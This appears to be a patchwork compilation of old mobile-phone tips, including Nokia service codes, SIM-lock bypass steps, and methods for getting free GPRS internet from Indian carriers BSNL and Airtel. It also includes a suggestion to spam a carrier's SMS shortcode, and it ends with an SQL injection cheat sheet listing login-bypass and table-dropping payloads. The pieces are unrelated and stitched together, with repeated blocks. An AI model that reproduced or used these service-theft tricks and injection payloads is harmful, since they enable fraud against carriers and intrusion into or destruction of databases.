    000 Index
    010 Flashes
    020 Hospitals
    022 Doctors
    024 Pharmacy
    030 Long Distant Road Reports
    032 Local Road Reports
    034 Taxis
    040 Weather
    050 District
    052 Network Information
    054 Operator Services
    056 Directory Inquiries (national)
    057 Directory Inquiries (international)
    058 Customer Care (national)
    059 Customer Care (international)

    In the future one will be able to control each individual call by use of the following service codes. To do this the user has to insert the service code in front of the last # in the MMI command above.


    Or More


    Secret Codes for some Nokia models
    Nokia 9000/9000i

    To view IMEI number *#06#
    To view Software Version enter *#8110# Latest Version is under Phone Info.
    To view Week and Year of manufacture enter *#3283#

    Nokia 9110

    *#06# for checking the IMEI (International Mobile Equipment Identity)
    *#0000# shows the SW version.

    Latest software version: v5.02 (26-08-99)RAE-2

    Nokia 7110

    *#06# for checking the IMEI (International Mobile Equipment Identity)
    *#0000# To view Software Version.
    *#3370# - Enhanced Full Rate Codec (EFR) activation. It will automatically restart.
    *#3370* - Enhanced Full Rate Codec (EFR) deactivation. It will automatically restart.
    *#4720# - Half Rate Codec activation. It will automatically restart
    *#4720* - Half Rate Codec deactivation. It will automatically restart
    *#746025625# - Sim clock allowed status.
    *#92702689# [*#war0anty#] - takes you to a secret menu with 6 choices:

    1. Displays Serial Number.
    2. Displays the Month and Year of Manufacture (0997)
    3. Displays (if there) the date where the phone was purchased (MMYY)
    4. Displays the date of the last repairment - if found (0000)
    5. makes you capebel of transferring user data if you have the gear for it
    6. shows how many hours the phone has been on

    Latest software version: 4.77 25-01-00 NSE-5 - EFR and half rate codes do not work with these version.

    V 4.76 13-01-00 NSE-5
    V 4.75 07-01-00 NSE-5
    V 4.73 15.11.99 NSE-5

    Nokia 6190

    *#06# for checking the IMEI (International Mobile Equipment Identity)
    *#6190# shows the SW version.
    *#92772689# (after removing the analog module) shows service menu.
    *3001#12345[OK] to enter test mode.
    *#639# to change NAM.

    Nokia 3810

    To view IMEI number *#06#
    To view Software Version enter *#3810#

    Nokia 6120 / 6160 / 6162 (TDMA phones)

    *#92772689# for checking ISDN number.
    *3001#12345# for field test mode and nam selection and some other stuff...
    *#9999# shows the SW version


    Nokia 3210 Secret Codes
    Nokia 3210

    *#06# for checking the IMEI (International Mobile Equipment Identity) Information you get from the IMEI:

    XXXXXX XX XXXXXX X

    TAC FAC SNR SP


    TAC = Type approval code
    FAC = Final assembly code
    SNR = Serial number
    SP = Spare

    *#0000# To view Software Version.

    #746025625# [*#sim0clock#]
    Checks if the sim clock can be stopped. Sim clock stop is a kind of stand-by mode which will save battery time. This code doesn't work with software version 4.59.

    *#92702689# [*#war0anty#] takes you to a secret menu with 6 choices:

    1. Displays Serial Number.
    2. Displays the Month and Year of Manufacture (0997)
    3. Displays (if there) the date where the phone was purchased (MMYY)
    4. Displays the date of the last repairment - if found (0000)
    5. makes you capebel of transferring user data if you have the gear for it
    6. shows how many hours the phone has been on

    Latest software version: V 5.02 NSE-8/9

    *#3370# - Enhanced Full Rate Codec (EFR) activation. It will automatically restart.
    *#3370* - Enhanced Full Rate Codec (EFR) deactivation. It will automatically restart.
    *#4720# - Half Rate Codec activation. It will automatically restart
    *#4720* - Half Rate Codec deactivation. It will automatically restart

    Enhanced Full Rate will give you much better sound quality when you enable it. The new Enhanced Full Rate CODEC adopted by GSM uses the ASELP (Algebraic Code Excitation Linear Prediction) compression technology. This technology allows for much great voice quality in the same number of bits as the older Full Rate CODEC. The older technology was called LPC-RPE (Linear Prediction Coding with Regular Pulse Excitation). Both operate at 13 kilobits.(but you take up more space on the network, so they can charge you more) - Talk-time is reduced by about 5% when using the ERF option.

    SUMIT SINGHAL

    Mixed Bag (Good)

    Mobile Secret Codes



    Nokia 31xx
    ____________

    Firmware version
    *#0000# or *#3110#
    IMEI Code
    *# 06 #
    Restores Factory Settings
    *#7780#
    Warranty Codes
    *#92702689# (= *#war0anty#)

    Just scroll down through the information. If entering the above code requires a
    further warranty code try entering the following:

    6232 (OK) : Month and year of manufacture
    7332 (OK) : Last repair date
    7832 (OK) : Purchase date (if previously set)
    9268 (OK) : Serial number
    37832 (OK) : Set purchase date (this can only be done once)
    87267 (OK) : Confirm transfer

    Nokia 5110
    _____________

    IMEI Number *#06#
    For checking the IMEI (International Mobile Equipment Identity).
    ---------------------------------------------------------
    Security Code 12345
    Default security code is 12345. If you forgot your security code, there s so many program on the net which allowed you to know the security code likes Security ID Generator, Nokia IMEI Changer, etc.

    update:
    Security ID Generator (SID.EXE) and IMEI Generator (NOKIAIMEI.EXE) doesn t works with Nokia 5110
    Resetting Security Code

    If you accidentally lock the phone or forgot the security code, the best thing to do is check it with your local Nokia dealer. For advanced user, you can use WinTesla, PCLocals or LogoManager program to read the security code or resetting the code (You will need an FBUS/MBUS (or compatible) cable to do this.
    ---------------------------------------------------------
    Software Version *#0000#
    For checking the phones software (SW) - called firmware revision information.
    e.q : Version V. 4.51 (26-03-98) will display
    V 04.51
    26-03-98
    NSE-1

    first line:
    The Software Version (my guess is that this software has been used in previously Nokia-phones, what do you say?!).

    second line:
    The Date of the SW release.

    third line:
    NHE-8 has something to do with the type of phone you are dealing with. Is it GSM 900 (standard), GSM 1800 (DCS1800) or GSM 1900 (PCS1900)?
    Nokia 2110, 3110, 8110(i) are all NHE types. The only thing that vary is the code after NHE- ("8").
    NHE = GSM 900, NHK =GSM 1800 - The number in the end = the model (2110i = 4 etc.)
    The 5110 and 6110 is called NSE-1 and NSE-3...this may be because it supports EFR (?)

    update:
    Newest Software Version was V5.22 (xx-xx-99)
    V 05.22
    01-07-99
    NSE-1

    If your software version is V4.00, upgrade your software version to latest version. V4.00 contains bugs that sometimes will show message,
    "SIM Card Not Ready" even the card is already inside the phone.
    ---------------------------------------------------------

    Software Update
    The only thing to do (for you and me) is for us to go to the nearest Nokia dealer and make him do it for you. Just remember that it is supposed to be free (a receipt is required) so don t let him tell you anything else!
    ---------------------------------------------------------

    SIM clock *#746025625# [*#sim0clock#]
    to check if the Sim-Clock can be Stopped. This option is depen on your service provider network. (Sim-clock-stop is a kind of standby mode which will save battery time)

    update:
    This code doesn t work on phone with software version 4.59.
    ---------------------------------------------------------

    Waranty Code *#92702689# [*#war0anty#]
    Menu:
    Displays Serial Number.
    Displays the Month and Year of Manufacture (0698)
    Displays (if there) the date where the phone was purchased (MMYY) you can here set the Purchasing Date
    (Warning: You can only do this once - so be careful what you write)
    Displays the date of the last repairment - if found (0000)
    The next screen has Transfer User Data? (the same option as the 8110)
    To exit turn the phone off and then back on.
    ---------------------------------------------------------

    SP Lock The Service provider (SP) lock
    Is used to lock the cell phone to the SP s SIM card. Once the cell phone is locked to a specific operator, if one inserts a SIM card from a different operator the phone will refuse to accept it!
    The cell phone will however accept another SIM card from the same operator.

    All Nokia phones (2110 and newer) have four different SIM locks which can be used to lock the phone for up to 4 different providers. But most phones with restriction only have one lock activated. ( lock 1)
    The main code used in Nokia phones is:

    #pw+(master code)+Y#

    This code is able to check, activate or remove Sim card restriction (SP-lock).
    Use the * key to get the p, + and w chars.
    Y has to be 1,2,3 or 4 - depending of what lock you what to deal with.

    #pw+1234567890+1# for Provider-Lock status
    #pw+1234567890+2# for Network-Lock status
    #pw+1234567890+3# for Provider(???)-Lock status
    #pw+1234567890+4# for SimCard-Lock status

    (master code) is a 10 digit code, based on the phones IMEI number.
    (I can NOT give you the master code SO DON T ASK ME FOR IT! )

    Please click here to learn more about how to obtain mastercode and find out the lock status of your phone
    eq. To remove restriction on lock 1 type following code:

    #pw+(master code)+1#

    If you just want to check your phone use 10 random numbers Eg. 1234567890 as the (master code)
    eq. To check if phone if restricted on lock 1 type the following code:

    #pw+1234567890+1#

    Please NOTE that these codes could be used with care!
    A user told me that it s only possible to type in about 3 different codes on each lock! Then something bad will happen ..therefore be careful!
    ---------------------------------------------------------

    How can I check what locks have my phone closed?

    There is 2 methods:
    Use winlock to see the state of the locks, pressing Read Info.The Counter is the number of times that you have tried unlock your phone using an incorrect master code.
    You can check it entering an imaginary mastercode on your phone but, it s not recommended because if you try enter a code 5 times your phone will not work anymore. By example, if you press at your phone #pw+1234567890+2# (note that # , p , w and + characters must be selected from * key) and your phone give you Code Error then your phone have lock 2 closed, if you get the message SIM Restriction Off your phone have lock 2 opened.
    Look the table above to see how can check all locks:

    Lock number Description Sequence to Check
    1 Provider Lock #pw+1234567890+1#
    2 Network-Lock #pw+1234567890+2#
    3 Another Provider Lock #pw+1234567890+3#
    4 SIM Card Lock #pw+1234567890+4#
    ---------------------------------------------------------
    Unlock SP-Lock
    Here is a way to Unlock your phone which is Service Provider locked, without to know SPLock code. With a Nokia 16xx/21xx/31xx/51xx/81xx that are SIMlocked to one privider you can bypass the SP lock like this:

    First of all, PIN CODE MUST BE ON, then press:

    C

    C and hold until it clears display
    * and hold until start to blink
    * and hold until start to blink
    04***your pin>#

    Each time you turn your phone OFF it resets the lock, so this need to be done each time you ll turn your phone ON

    The phone now says: PIN CODE CHANGED (or ACCEPTED)
    and the SIM card is accepted until you restart the phone again.

    NOTE: On vesion 5.04 Nokia has removed this option !

    update:
    There s another Nokia service provider lock generator for DOS (somehere on the net) called 5161un.zip (for Nokia 51xx-61xx models) This program uses the #pw+(master code)+1# code to unlock the phone. With this software you need to have a access to the eeprom.. Sad
    ---------------------------------------------------------

    Bypass the SP-lock

    With a Nokia 16xx/21xx/31xx/51xx/81xx that are SIM locked to one privider you can bypass the SP lock like this:

    Insert sim card of diferent provider.

    Turn on the phone and press the UP VOLUME key for 3 sec. then release it and the phone says PIN CODE ?

    Press the "C" key.

    Then Press * and wait until it desapear and apear again, then press * one more time and 04*PIN*PIN*PIN#

    The phone now says: PIN CODE CHANGED (or ACCEPTED)
    and the SIM card is accepted until you restart the phone again.

    update:
    On version 5.04 Nokia has removed this option !
    ---------------------------------------------------------

    How to open lock 1 and 4?
    You will need Winlock software and MBUS cable to do this. Winlock is a Nokia service program that you can use to open lock 1 and 4, really you are closing locks when you do that, but when you write ????? at MCC+MNC and MSIN text box, the phone don t understand it and consider that it s open.

    That trick only works for lock 1 and 4, but not for lock 2 and 3. If you did not know your lock type, please read our miscellaneous tips page first. or read at above section in this page.

    Install winlock 1.10
    Connect your MBUS nokia data cable
    Run Winlock
    Push Read Phone, if you have Lock 2 or Lock 3 closed you can not open your phone, but you can try change Lock 2.
    Select State Close in Lock 1 and Lock 4, fill out MCC+MNC and MSIN text boxes with ??????? and Push Close Locks.
    Now you can use any operator card in your phone. If you get any error when you do that do the following steps:
    Select State Automatic in Lock 1 and Lock 4 and change type to User in Lock 1 and Lock 4, fill out MCC+MNC and MSIN text boxes with ?????????? and Push Close Locks.
    Select State Automatic in Lock 1 and Lock 4 and change type to Factory in Lock 1 and Lock 4, fill out MCC+MNC and MSIN text boxes with ?????????? and Push Close Locks.
    If you continue getting errors you must turn off your phone and reset computer and try again.
    ---------------------------------------------------------

    How to open lock 2?

    When operators companies close lock2 you can only use the contract or prepaid card for this operator, but you can use another operator company prepaid card if you know what GID1 must write.

    Install Winlock
    Run Winlock
    Configure Winlock. Select menu Winlock->Defaults and change GID byte count to 2.
    Push Read Phone, and write down GID1 info that appear in lock 2.
    Insert the prepaid card from a different operator company.
    We must find out a the GID1 info adecuate for our new prepaid or contract card, take a look at our GID1 list and check if your operator and SIM card type is included, if not try to get a phone that have lock 2 closed and have the SIM card type that you want to use in your phone, and read GID1 info with winlock. You can try to write the most used GID1 codes like 0000,10FF,01FF, or FFFF, etc.
    Change Lock 2 Type from User To Factory or from Factory to User.
    Push Close Locks
    Your phone will be reset every time you push Close Locks, if your card is not acepted the GID1 is not correct, repeat from step 4 until you find the correct GID1.
    If you get error you must turn off your phone and reset computer and try again.
    If you want your phone accept your original prepaid card write in GID1 the code you read at step 2 and close locks.
    Exist a GID1 list?

    In addition to the official way to open locks that Nokia service centers use with TDB4 or TDF-4(for WinTesla) security boxes, there is two secrets methods:

    Opening the phone and adding a chip inside phone motherboard. But you will loose any warranty of your phone.
    Using a special software with a MBUS Nokia cable. I don t have this software. Please don t bother me asking me about that. The only thing i know about that is that a friend is removing lock 2 using a special software. He don t make this for money, only for fun.
    --------------------------------------------------------

    Main Code #pw+(master code)+Y#
    This code is able to check, activate or remove Sim card restriction (SP-lock).

    Use the * key to get the p, + and w chars.
    Y has to be 1,2,3 or 4 - depending of what lock you what to deal with.

    #pw+1234567890+1# for Provider-Lock status
    #pw+1234567890+2# for Network-Lock status
    #pw+1234567890+3# for Provider(???)-Lock status
    #pw+1234567890+4# for SimCard-Lock status

    (master code) is a 10 digit code, based on the phones IMEI number.

    update:
    I get report that told me the code didn t works for Optimus Card
    ---------------------------------------------------------
    Enhanced Full Rate Codec (EFR)
    Enhanced Full Rate will give you much better sound quality when you enable it. The new Enhanced Full Rate CODEC adopted by GSM uses the ASELP (AlgebraicCode Excitation Linear Prediction) compression technology. This technology allows for much great voice quality in the same number of bits as the older Full Rate CODEC. The older technology was called LPC-RPE (Linear Prediction Coding with Regular Pulse Excitation). Both operate at 13 kilobits.(but you take up more space on the network, so they can charge you more)

    *3370# and EFR will be activated after a reboot of the phone ( consumes more power )

    #3370#
    and EFR will be switched off after a reboot of the phone.
    ---------------------------------------------------------

    Half Rate Codec (HR)
    Half Rate will give you bad sound quality, which gives the service provider the opportunity to have more calls on the network; and you might get a lower charge from them. (Will give you 30% longer talk-time)
    *4720# Half Rate coded will be activated after a reboot of the phone ( better standby time )

    #4720# Half Rate coded will be de-activated after a reboot of the phone
    ---------------------------------------------------------

    Unblocking Code
    Unblock PIN1 : **05*PUK*newPIN1*newPIN1#@
    UnBlock PIN2 : **052*PUK2*newPIN2*newPIN2#@
    ---------------------------------------------------------

    Hiding your phone number
    Dial 141 then the number you want to call eg. 141#######
    This should stop your number been sent to the caller. (*)
    (*) This only works on UK phones, if anybody has tried this and works, please let me know.
    ---------------------------------------------------------

    Unlocking PIN2 for software version
    V 05.07
    20.11.98
    NSE-1

    If your SimCard is locked by your SP, you can check it and if it is, you will get the "wrong code" message on the display (for use 1234567890)
    If your SimCard is locked by your SP, you can t unlock PIN2 !
    ---------------------------------------------------------

    Blocking phone number at Cantel AT&T

    If you have one of those cantel at&t phones if you press #0000# you can block your number
    at no extra charge.
    ---------------------------------------------------------

    New Menu on Emergency Calls *3001#12345#

    Brings a new menu that gives you access to the emergency calls ( 911 Etc. ). It will give you FREE calls! (only the ones you put in the emergency!! )

    This option will depend on your GSM operator
    ---------------------------------------------------------

    Your number in your display
    Goto menu 3-7 Call cost settings.
    Turn ON the Call costs limit 3-7-1. PIN2 code Required.
    Put in the limit with the phone number.
    eg. my phone # is 019 2184697
    Enter the limit as 2184697
    Goto menu 3-7-2 Show costs in. PIN2 code Required.
    Select Currency.
    Enter Unit price : 1
    Enter Currency name as 019 (per my phone # eg. above)
    Now the phone number 019 2184697 will remains on the 4th row of the display.
    Secondly, if you press the # key, it prompt which line to be used; Line 1 or 2.
    ---------------------------------------------------------
    Free Call Tip

    The tips needs Net Monitor enabled. Be aware that the trick will remove Netmonitor in some sw versions like v4.73 and v5.04.
    Launch the Net Monitor in your Nokia 51xx / 61xx
    Execute the test number 497
    Free calling for about 90 sec should now have been activated.
    ---------------------------------------------------------

    Nokia 5110 PIN-Out

    Pin-Outs: Bottom view, keyboard up, counting from the left

    V V 1 2 3 4 5 6 V
    (o) | | [= = = = = =] | |
    7 8 9 10 11 12

    1 - VIN CHARGER INPUT VOLTAGE 8.4V 0.8A
    2 - CHRG CTRL CHARGER CONTROL PWM 32Khz
    3 - XMIC MIC INPUT 60mV - 1V
    4 - SGND SIGNAL GROUND
    5 - XEAR EAR OUTPUT 80mV - 1V
    6 - MBUS 9600 B/S
    7 - FBUS_RX 9.6 - 230.4 KB/S
    8 - FBUS_TX 9.6 - 230.4 KB/S
    9 - L_GND CHARGER / LOGIC GND

    Nokia 61xx
    __________

    Firmware version
    *#0000# or *#61x0#
    IMEI Code
    * # 06 #
    Warranty Codes
    *#92702689# (= *#war0anty#)

    Just scroll down through the information. If entering the above code requires a
    further warranty code try entering the following:

    6232 (OK) : Month and year of manufacture
    7332 (OK) : Last repair date
    7832 (OK) : Purchase date (if previously set)
    9268 (OK) : Serial number
    37832 (OK) : Set purchase date (this can only be done once)
    87267 (OK) : Confirm transfer

    Enhanced Full Rate (EFR) and Half Rate Mode (HFR)

    *3370# to activate Enhanced Full Rate - Makes calls sound better, but
    decreases the battery life by about 5%.(I recommend this one)
    #3370# to deactivate Enhanced Full Rate
    *4720# to activate Half Rate Mode - Drops call quality, but increases battery
    life by about 30%.
    #4720# to deactivate Half Rate Mode

    Nokia 81xx
    _____________

    Show IMEI code
    * # 06 #
    Software Version
    * # 8110 #
    This code shows you software version, date of manufacture and hardware number of your phone.

    Warranty Codes
    *#92702689# (= *#war0anty#)

    Just scroll down through the information. If entering the above code requires a
    further warranty code try entering the following:

    6232 (OK) : Month and year of manufacture
    7332 (OK) : Last repair date
    7832 (OK) : Purchase date (if previously set)
    9268 (OK) : Serial number
    37832 (OK) : Set purchase date (this can only be done once)
    87267 (OK) : Confirm transfer

    Sim Clock information

    To check if the Sim-Clock can be stopped type: *#746025625# (= *#sim0clock#)

    Nokia 8810
    ____________
    Firmware version
    *#0000# or *#8810#
    IMEI Code
    * # 06 #
    Warranty Codes
    *#92702689# (= *#war0anty#)

    Just scroll down through the information. If entering the above code requires a
    further warranty code try entering the following:

    6232 (OK) : Month and year of manufacture
    7332 (OK) : Last repair date
    7832 (OK) : Purchase date (if previously set)
    9268 (OK) : Serial number
    37832 (OK) : Set purchase date (this can only be done once)
    87267 (OK) : Confirm transfer

    Enhanced Full Rate (EFR) and Half Rate Mode (HFR)

    *3370# to activate Enhanced Full Rate - Makes calls sound better, but
    decreases the battery life by about 5%.(I recommend this one)
    #3370# to deactivate Enhanced Full Rate
    *4720# to activate Half Rate Mode - Drops call quality, but increases battery
    life by about 30%.
    #4720# to deactivate Half Rate Mode

    BSNL hack for Internet

    Free gprs in bsnl


    here are the steps to perform:-

    Logic: the server has a major bug in it, by which it fails to block two simultaneous connections from the phone and establishes a connection with full internet working,

    Supported devices: all phones with multichannel gprs support

    For connection on your mobile phone:-

    1) Make two connections like bsnlportal and BSNLPORTAL1

    (names of profile don’t matter, u can keep one as billgates and shahrukhkhan lol..the basic purpose of names is to enable the user to differentiate between the two accounts,)

    2) Select the application you got to have the full connection working on.
    Surpassingly “web” now just select “bsnlportal” profile and select a link like wap.cellone.in the page will get open, just press the red button such that the “web” application goes in the background.
    Make sure that the gprs connection is still established with the web app. Two parallel lines on the top left of the screen will confirm this

    3) Now open any other app that requires web connection like opera. Select BSNLPORTAL and open any other link like wap.google.com, u will get error –

    the aim of using the other app is to perform multi-channel gprs,
    this is verified by seeing some dots on the pre-existing connection established by “web”

    (step 2)

    “Access denied.

    Technical description:
    403 Forbidden - You are not allowed to communicate with the requested resource.”

    4) close opera and open web and open a site like esato.com

    5) if everything is done as said here then esato will load and voila! We have the whole internet!

    For connection on pc.

    1)create a connection and enter the number to be dialed as *99***1#

    2) enter the following string as extra initialization command

    3)now dial from pc, the connection will be established

    4)pick the phone and open “web” open “wap.cellone.in” the phone shows error .

    5) close “web” and then from the browser open www.google.com
    and voila! The whole intenet is here

    settings for profiles

    apn: celloneportal
    ip: 192.168.51.163
    port : 8080

    leave other fields blank as they are of the least concern!

    the browser settings on pc too go the same as mentioned above!

    Airtel Hack for free internet


    these are all the tricks available !!

    working too!

    It cannot go beyond this!!


    This write up will explain to you how to speed up your Airtel Broadband connection / solve other problems regarding connection failures due to closed ports.



    Although I use Airtel and a Beetel 220 BX modem as my basis for this write up, the same rules can be applied to others as well. So lets get started. First thing make sure your DSL modem is on. Fire up your browser. Type http://192.168.1.1 as the address with the following Username/Password - Username : admin Password : password Note : These are case sensitive. Make sure all are typed in lowercase. Click on Advanced Setup -> NAT in the page that loads. If you do not see these options try entering http://192.168.1.1/main.html as the address. Some routers/modems deliberately try to prevent users from accessing these options. On the NAT virtual servers page click the add button. Now add the port number that you wish to open up. You can even open up a range of ports using the add button. You should see something similar to the screenshot below. Click it to view full image


    Beeter 220 BX Screen Shot This technique can be used for any operating system / modem / service provider. It may vary slightly but the essential principle remains the same.


    ~cheers~

    You need a PC or a Laptop and the required connectivity tools ,ie.,
    Serial/USB cable OR Infrared Device OR Bluetooth dongle

    1) Activate Airtel Live! ( It’s FREE so no probs)

    2) Create TWO Airtel gprs data accounts (yep TWO) and select the
    FIRST as the active profile.

    3) Connect your mobile to the PC (or Laptop) and install the driver for
    your mobile’s modem.

    4) Create a new dial-up connection using the NEW CONNECTION
    WIZARD as follows

    Connecting Device : Your mobile’s modem
    ISP Name : Airtel (or anything you like)
    Phone Number : *99***2# / Try 99***1
    Username and Password : blank

    5) Configure your browser and download manager to use the proxy
    100.1.200.99 and port 8080.( My advice is to use Opera since you
    can browse both wap and regular websites)

    6) Connect to the dial-up account. You will be connected at 115.2
    kbps (but remember, that is a bad joke).

    7) Pick up your mobile and try to access any site. You will get “Access
    Denied…”(except for Airtel Live!). IT DOES NOT MATTER.
    Keep the mobile down.

    8 ) On the PC ( or Laptop) open your browser, enter any address ,
    press ENTER and…….WAIT

    9) After a few seconds the page will start to load and you have the
    WHOLE internet at your disposal.
    ***************************************************************************************************************

    TWO






    Under DATA COMM
    ~~~~~~~~~~~~

    APN : airtelfun.com

    USERNAME : blank

    PASSWORD : blank

    PASS REQ : OFF

    ALLOW CALLS : AUTOMATIC

    IPADDRESS :

    DNSADDRESS :

    DATA COMP : OFF

    HEADER COMP : OFF


    Under INTERNET PROFILES
    ~~~~~~~~~~~~~~~~

    INTERNET MODE : HTTP or WAP (both worked for me)

    USE PROXY : YES

    IP ADDRESS : 100.1.200.99

    PORT : 8080

    USERNAME :

    PASSWORD :

    No Risk Here, Try it and Enjoy




    Three


    1st go to settings menu then to connectivity tab now choose the option Data comm. then "DATA ACCOUNTS" go to new account now the settings r as follows
    ACCOUNT TYPE:GPRS
    NEW ACCOUNT NAME:A1
    APN:airtelfun.com
    usr name: (blank)
    password: (blank)

    now save it
    NOW!
    go to Internet Setting in connectivity here choose intrnet profile--go to new profile setting are as below
    NAME:A1
    CONNECT USING:A1(which was created in data comm.)
    save it
    now u would be able to see it now selest it and take "more" option then select setting here in use proxy option it will be selected no if it is no then change it into yes
    now go to proxy adress and give the adress as
    100.1.200.99 and then the port number as 8080
    Usr name:
    password:
    now save all the settings u made . come back 2 connectivity
    choose streaming settings now in connect using option choose a1 that we created leave the use proxy option as no itself
    THESE R THE SETTINGS
    now access airtellive! from ur activated SE phone goto VIDEO GALLERY OR VIDEO UNLIMITED(varies according to states) choose live streaming then choose CNBC OR AAJTAK WHILE CONNECTING TO MEDIA SERVER cancel AFTER 9 or 10 sec then type any web adress if it shows access denied then once again select CNBC and wait for a few more sec than before if its fully connected also no prob its free then cancel it or if ur connected then stop it and the internet is ready to take of .GOOD LUCK SE AIRTEL USERS

    alternate



    For All Airtel Users

    Requirements:
    1. Airtel live (available 4 free)
    2. Nokia series60 handset eg 6600,6630,n series,7610,6670 etc
    3. Opera wap browser 4 mobile
    Procedure:-

    1. Go to ur connection settings and make a new internet profile using the default settings of airtel live. name that new profile as nething(for eg masala); change the home page of that profile to nething u like for eg www.google.com.

    2. Go to ur Opera browser and set the default connection as AIRTEL LIVE. this is the original settings u received thru airtel.

    3. Go to the services(in n6600) and Web(N6630) and change the default profile for connection as masala (newer one).

    **Note: always make sure that ur access point is airtelfun.com

    Apply:-

    1. Open Opera and u will see that homepage of Airtel Live is opened. Minimize the application.

    2. Now open web using the duplicate Profile and u will see that two gprs connections will work simultaneously and at the web or the services page it will show "Unable to connect" or any error. well thats the signal of ur success.

    3. Simply go on the Opera with web on and open any site u want for free. No Charges No nothing.

    U can also use it through ur computer..........

    someone said dis too


    The main principle behind this is we hav 2 fool the bsnl techies 2 activate portal and thus get gprs activated / get "G" signal on ur cell as bsnl portal (wap.cellone.in) needs "gprs signal on ur cel (whether gprs is formaly activated/registerd or not (by my method )i dont know)

    NORMALLY THEY DONT DO THAT INSPITE OF THE FACT THAT THEY SHOULD ACTIVATE GPRS SIGNAL SERVICE FOR PORTAL!!!
    AND THEY WILL GIVE U NO OF REASONS----
    ---THAT portal is message based , so go to cellone icon in menu and use that sms based portal (what the f**k)
    ---THAT portal service will be activated when u will activate gprs by filling up form and registering at nearest CCN!!
    ---THAT ur handset has some problems (if u say that "G" signal is not present)
    ----etc,etc!!

    U HAVE 2 ACTIVATE PORTAL FIRST WHICH IS FREE AND U CAN EAT UP CC'S FOR THIS REASON!!
    SO WHAT U HAV 2 DO IS--
    1) SEND PORTAL to 3733 AND CONFIRMATION SHD COME WITH 5 MIN AT-MAXIMM !!
    2) SEND FOR ATLEAST 20-30 TIMES (CAN B ANY MORE THAN THAT)
    JUST S**K UP THE NETWORK(3733) WITH THESE MESSAGES !!!
    THAT'S FREE NO!! BOTH ON POST AND PRE!!
    3) NOW ALONG ALSO SEND 20-40 SMS AS GPRS TO 3733
    (NO OF SMS DIRECTLY PROPORTIONAL 2 HATE FOR BSNL AND HOW EARLY U WNAN GET UR GPRS ACTIVATED) this is also free both on post and pre!!
    4) U WILL GET CONFIRMATION IN BOTH CASES AND MSG TELLS U 2 GET SETTINGS FROM 9400024365, THE NO OF CC!!
    HERE AT MY PLACE I CAN DIAL 9419024365 ALSO!
    BOTH R TOLL FREE AND BOTH R LOCATED IN CHANDIGARH!!!
    (((((((AND SOME OF THE CC'S SAY they cant give such sensitive information that where they r located, as if thay have a 3 rd world of their own! and the other dumbs said that they r in chandigarh!!!!)))))

    I WOULD ADVISE ALL FIRST, 2 call them once 2 get the settings!!
    (most of the times that is incorect but gives u an idea of settings in ur area))
    Try and in ur 1 st call only,
    talk roughly and tell them u r calling 10-20th time just for settings and is that their service!!!
    5) Now when u get them save them AND plz post them here!!!
    6) now GET ATLEAST 2-3 COMPLAINTS REGISTERED( each after 1 day) THAT UR PORTAL HAS NOT ACTIVATED AND GET THEIR SERIAL NO.
    and in the end bombard them abt the status of all those complaints !!
    b4 registering ur complaint they will hesitate much and always say taht they will b sendin new settings which r accurate! but dont belive them and just register complaints!!
    6)AFTER THAT, u have 2 only wait until "G" signal is there on ur screen!!

    LOOK, WHAT I HAVE WRIITEN ABV IS METHOD by which i got activated my "G" service !!! without fillin any form or such and without any money drain!!
    may be since it bypasses the formal way of registeration, that is why this trick is working !!!!!!!!!!!!


    U may also Try this


    first open ur msg window and type LIVE and send it to 2567 so that after 5 min u get the setting of Airtel Live or if u have already no need for this procedure.
    now then open that setting and copy all the settings from it and create one access point manually which has all the settings like Airtel Live has.
    now only one change will be there and it would be in access point name which is "Airtelmms.com" instead of originally "Airtelgprs.com".
    ok u've done it just active that setting and access free airtel gprs on ur phone.

    Another Trick

    somya_cse
    You need a PC or a Laptop and the required connectivity tools ,ie.,
    Serial/USB cable OR Infrared Device OR Bluetooth dongle

    1) Activate Airtel Live! ( It’s FREE so no probs)

    2) Create TWO Airtel gprs data accounts (yep TWO) and select the
    FIRST as the active profile.

    3) Connect your mobile to the PC (or Laptop) and install the driver for
    your mobile’s modem.

    4) Create a new dial-up connection using the NEW CONNECTION
    WIZARD as follows

    Connecting Device : Your mobile’s modem
    ISP Name : Airtel (or anything you like)
    Phone Number : *99***2#
    Username and Password : blank

    5) Configure your browser and download manager to use the proxy
    100.1.200.99 and port 8080.( My advice is to use Opera since you
    can browse both wap and regular websites)

    6) Connect to the dial-up account. You will be connected at 115.2
    kbps (but remember, that is a bad joke).

    7) Pick up your mobile and try to access any site. You will get “Access
    Denied…”(except for Airtel Live!). IT DOES NOT MATTER.
    Keep the mobile down.

    8 ) On the PC ( or Laptop) open your browser, enter any address ,
    press ENTER and…….WAIT

    9) After a few seconds the page will start to load


    main thing is the advance initialization command.
    a recent comment says dat

    Guys i tried and its working, I'm using airtel chennai,..the Method TWO worked, also i request everyone to change the Phone number from *99***2 to *99***1 and its working,.. it'll get connected at 462.8kbps but its the speed between the phone and your computer but actual BAndwidth is 42kbps


    Most common injection : ' OR ''='

    Syntax Reference, Sample Attacks and Dirty SQL Injection Tricks

    Ending / Commenting Out / Line Comments

    Line Comments Comments out rest of the query.
    Line comments are generally useful for ignoring rest of the query so you don’t have to deal with fixing the syntax.
    • -- (SM)
      DROP sampletable;--

    • # (M)
      DROP sampletable;#
    Line Comments Sample SQL Injection Attacks
    • Username: admin'--
    • SELECT * FROM members WHERE username = 'admin'--' AND password = 'password'
      This is going to log you as admin user, because rest of the SQL query will be ignored.
    Inline Comments Comments out rest of the query by not closing them or you can use for bypassing blacklisting, removing spaces, obfuscating and determining database versions.
    • /*Comment Here*/ (SM)
      • DROP/*comment*/sampletable
      • DR/**/OP/*bypass blacklisting*/sampletable
      • SELECT/*avoid-spaces*/password/**/FROM/**/Members

    • /*! MYSQL Special SQL */ (M)
      This is a special comment syntax for MySQL. It’s perfect for detecting MySQL version. If you put a code into this comments it’s going to execute in MySQL only. Also you can use this to execute some code only if the server is higher than supplied version.

      SELECT /*!32302 1/0, */ 1 FROM tablename
    Classical Inline Comment SQL Injection Attack Samples
    • ID: 10; DROP TABLE members /*
      Simply get rid of other stuff at the end the of query. Same as 10; DROP TABLE members --

    • SELECT /*!32302 1/0, */ 1 FROM tablename
      Will throw an divison by 0 error if MySQL version is higher than 3.23.02
    MySQL Version Detection Sample Attacks
    • ID: /*!32302 10*/
    • ID: 10
      You will get the same response if MySQL version is higher than 3.23.02

    • SELECT /*!32302 1/0, */ 1 FROM tablename
      Will throw an divison by 0 error if MySQL version is higher than 3.23.02

    Stacking Queries

    Executing more than one query in one transaction. This is very useful in every injection point, especially in SQL Server back ended applications.
    • ; (S)
      SELECT * FROM members; DROP members--
